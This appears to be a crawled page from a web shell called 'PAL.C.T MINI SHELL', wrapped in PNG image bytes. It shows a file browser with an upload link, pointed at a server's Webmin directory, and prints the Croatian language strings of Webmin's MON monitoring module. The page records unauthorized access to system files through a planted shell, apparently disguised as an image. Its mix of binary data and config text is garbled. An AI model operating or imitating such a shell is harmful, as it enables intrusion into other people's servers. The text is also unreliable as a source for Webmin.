php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/libexec/webmin/mon/lang/
upload
files >> //proc/self/root/usr/libexec/webmin/mon/lang/hr.auto

index_title=MON servisni monitor
index_return=MON indeks
index_edir=MON direktorij $1 ne postoji. Možda MON nije instaliran ili je vaša <a href='$2'>konfiguracija modula</a> netočna.
mon_global_title=Konfiguracija globalnih varijabli
mon_conf_title=Osnovna konfiguracija
mon_status_title=Operativni status
hostgroups_title=Konfiguracija MON-grupa domaćina
services_title=Grupe gledatelja-Definicije usluga

head_hostgroups=Grupe domaćina i usluge
head_groups=Naziv grupe domaćina
head_members=Članovi domaćinske grupe
head_services=Usluge domaćina za gledanje
head_service=Služba za gledanje
head_param=Parametri usluge
head_watch=Gledajte grupu?
head_monauth=Unesite autentifikaciju za MONCMD
head_usr=Korisničko ime
head_pass=Zaporka
head_mand=(Parametri u "CRVENOJ BOJI" su obavezni)

err_nomon=paket 'mon' nije instaliran na sustavu
err_nomonconf=Konfiguracijska datoteka MON $1 nije pronađena u vašem sustavu. Možda MON nije instaliran ili je vaša <a href='$2'>konfiguracija modula</a> netočna.
err_nowatch=Nije odabrana nijedna grupa za gledanje. Odaberite barem jednu Grupu za gledanje da biste nastavili.
err_noserv=Za skupinu gledatelja nije odabrana nijedna usluga
err_nomemb=Za grupu gledanja nisu odabrani domaćini/članovi
err_monrun=MON se ne izvodi na hostmachinu. Počnite od MON.
stop_err=Zaustavljanje MON-a nije uspjelo
stop_epid=Nema više trčanja
start_err=Nije uspio pokrenuti MON
restart_err=Ponovno pokretanje MON-a nije uspjelo
restart_epid=PID nije uspio

other=Ostalo (prostor odvojen)
next=Sljedeći
mon_stat=MON Status
mon_off=MON usluge nisu započete
mon_start=Pokrenite MON usluge
mon_stop=Zaustavite MON usluge
mon_restart=Ponovo pokrenite MON usluge
mon_startdesc=Kliknite ovaj gumb za pokretanje MON poslužitelja. Dok se ne pokrene, neće se vršiti konfigurirani nadzor.
mon_stopdesc=Kliknite ovaj gumb za zaustavljanje MON poslužitelja. Kad se zaustavi, konfigurirano nadgledanje će prestati.
mon_restartdesc=Kliknite ovaj gumb kako biste primijenili trenutnu konfiguraciju MON-a ponovnim pokretanjem poslužiteljskog procesa.
line=(po jedan u svakom retku)
save_apply=Spremite i primijenite
watch=Watchgroup
members=članovi
def_perargs=wd {Sat-Sunce}

def_desc=opis
def_inter=interval
def_mon=monitor
def_dep=dpend
def_per=razdoblje
def_alert=uzbuna
def_alertevr=alertevery
def_alertaft=alertafter
def_alertstr=startupalert
def_allow=allow_empty_group
def_traptime=traptimeout
def_trapdur=trapduration
def_rand=randskew
def_exclhost=exclude_hosts
def_exclper=exclude_period

groups_title=Grupe domaćina
groups_group=Grupno ime
groups_members=Član domaćini

watches_title=Gledajte popise
watches_group=Gledanje grupe
watches_services=Usluge koje se promatraju
watches_sadd=Dodavanje usluge ..
watches_add=Dodajte popis za gledanje za grupu :
watches_return=popisa za gledanje
watches_none=Još nisu definirani popisi za nadzor.

global_title=Opcije
global_header=Opcije MON konfiguracije
global_maxprocs=Maksimalni MON procesi
global_histlength=Dužina povijesti događaja
global_alertdir=Imenik programa upozorenja
global_mondir=Nadgledajte imenik programa
global_authtype=Vrsta ovjere
global_authtype_=Zadano
global_authtype_getpwnam=Sustavni pozivi
global_authtype_userfile=Datoteka MON korisnika
global_authtype_shadow=Datoteka sjena
global_userfile=MON korisnika datoteka
global_emaxprocs=Nedostaje ili nevažeći broj postupaka MON
global_ehistlength=Nedostaje ili nije valjana duljina povijesti događaja
global_ealertdir=Nema ili nevažeći imenik programa upozorenja
global_emondir=Nema ili nevažeći imenik programa za nadgledanje
global_euserfile=Nedostaje datoteka s MON korisnicima

watch_title=Uredi popis za gledanje
watch_header=Pojedinosti o satu grupe domaćina
watch_group=Grupa domaćina za gledanje
watch_services=Usluge koje se promatraju
watch_service=Naziv usluge
watch_monitor=Monitor koristiti
watch_interval=Provjerite svaki
watch_periods=Periodi monitoringa

service_title=Dodavanje usluge
service_title2=Usluga uređivanja
service_header=Pojedinosti o gledanoj usluzi
service_name=Naziv usluge
service_interval=Provjerite svaki
service_desc=Opis
service_units_s=sekundi
service_units_m=minuta
service_units_h=sati
service_units_d=dana
service_units_w=tjedni
service_monitor=Korištenje monitora
service_mon1=Standardni monitor
service_mon0=Drugi monitor ..
service_args=Parametri monitora
service_period=Razdoblje praćenja $1 
service_days=Dani za provjeru
service_hours=Sati za provjeru
service_all=svi
service_pstr=Specifikacija razdoblja
service_new=Novo razdoblje praćenja
service_alerts=Upozorenja za razdoblje
service_alert=uzbuna
service_atype=Pokreni kad
service_atype_alert=Usluga propada
service_atype_upalert=Dolaze usluge
service_atype_startupalert=MON se pokreće
service_aargs=Dodatni parametri
service_every=Pošalji upozorenje
service_every_def=Svaki put kada se monitor pokrene
service_every_time=Svaki
service_num=Maksimalna upozorenja koja se trebaju poslati
service_unlimited=Neograničen
service_after=Neuspjesi prije upozorenja
service_immediate=Odmah
service_after_num=Nakon neuspjeha $1 
service_aftertime=U roku
service_newperiod=Dodajte novo razdoblje
service_delperiod=Izbrišite ovaj period
service_err=Spremanje usluge nije uspjelo
service_ename=Nedostaje ili nevažeće ime usluge
service_einterval=Nedostaje ili nije važeći interval provjere
service_eother=Nedostaje ili nije važeći monitor
service_ehour=Nedostaje ili nevažeći sat za razdoblje $1 (mora biti poput 9:00 ili 17:00)
service_eperiod=Nisu navedeni dani ili sati za razdoblje $1 
service_eevery=Nedostaje ili nevažeći interval upozorenja za uslugu
service_eafter=Nedostaje ili nevažeći broj kvarova prije uzbune
service_enum=Manjkajuća ili nevaljana maksimalna upozorenja poslana
service_epstr=Specifikacija nedostajućeg razdoblja
service_known0=<tt>Vrijeme: razdoblje</tt> string
service_known1=Navedeni dani i sati
service_known2=Definirano razdoblje

status_title=MON Status
status_ecgi=MONG status CGI programa $1 ne postoji. Možda nije instaliran ili je vaša <a href='$2'>konfiguracija modula</a> netočna.
status_eperl=MONG status CGI programa zahtijeva $1 perl modul. <a href='$2'>Kliknite ovdje</a> da biste ga instalirali izravno iz CPAN-a.
status_esame=MON statusni CGI program $1 postavljen je na <tt>mon.cgi</tt> skriptu u ovom modulu Webmin, a ne CGI program koji dolazi s MON. Podesite <a href='$2'>konfiguraciju modula</a> da biste koristili ispravan put.

users_title=Korisnici MON-a
users_etype=Popis korisnika MON-a ne može se uređivati jer MON trenutno nije konfiguriran za njegovo korištenje na autentifikaciji na stranici <a href='$1'>Globalne opcije</a>.
users_header=Dopušteno MON korisnicima u $1 
users_nousers=Niti jedan MON korisnik nije definiran u $1.
users_add=Stvorite novog korisnika.
users_return=MON korisnik popis

user_create=Stvori MON korisnika
user_edit=Uređivanje MON korisnika
user_header=Podaci o MON korisniku
user_user=Korisničko ime
user_pass=Zaporka
user_leave=Ostavite nepromijenjeno
user_err=Spremanje korisnika nije uspjelo
user_euser=Nedostaje ili nije valjano korisničko ime
user_esame=Korisnik s istim imenom već postoji

auth_title=Naredbe klijenta
auth_desc=Ova vam stranica omogućuje kontrolu kojih MON naredbi se mogu pokrenuti koji korisnici prilikom korištenja klijentskih programa.
auth_cmd=Naredba MON
auth_users=Dopušteni korisnici
auth_none=Nitko
auth_all=Svi
auth_sel=Samo korisnici
auth_err=Spremanje naredbi klijenta nije uspjelo
auth_eusers=Korisnici ne ulaze za naredbu $1 

periods_title=Definirana razdoblja
periods_period=Naziv razdoblja
periods_times=Dani i vremena
periods_alldays=Svi dani
periods_allhours=Svi sati
periods_err=Spremanje definiranih razdoblja nije uspjelo
periods_ename='$1' nije valjano ime razdoblja
periods_ehour=Nedostaje ili nevažeći sat za razdoblje $1 (mora biti poput 9:00 ili 17:00)

show_title=Operativni status
show_ecgi=MON statusni program $1 ne postoji. Možda nije instaliran ili je vaša <a href='$2'>konfiguracija modula</a> netočna.
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`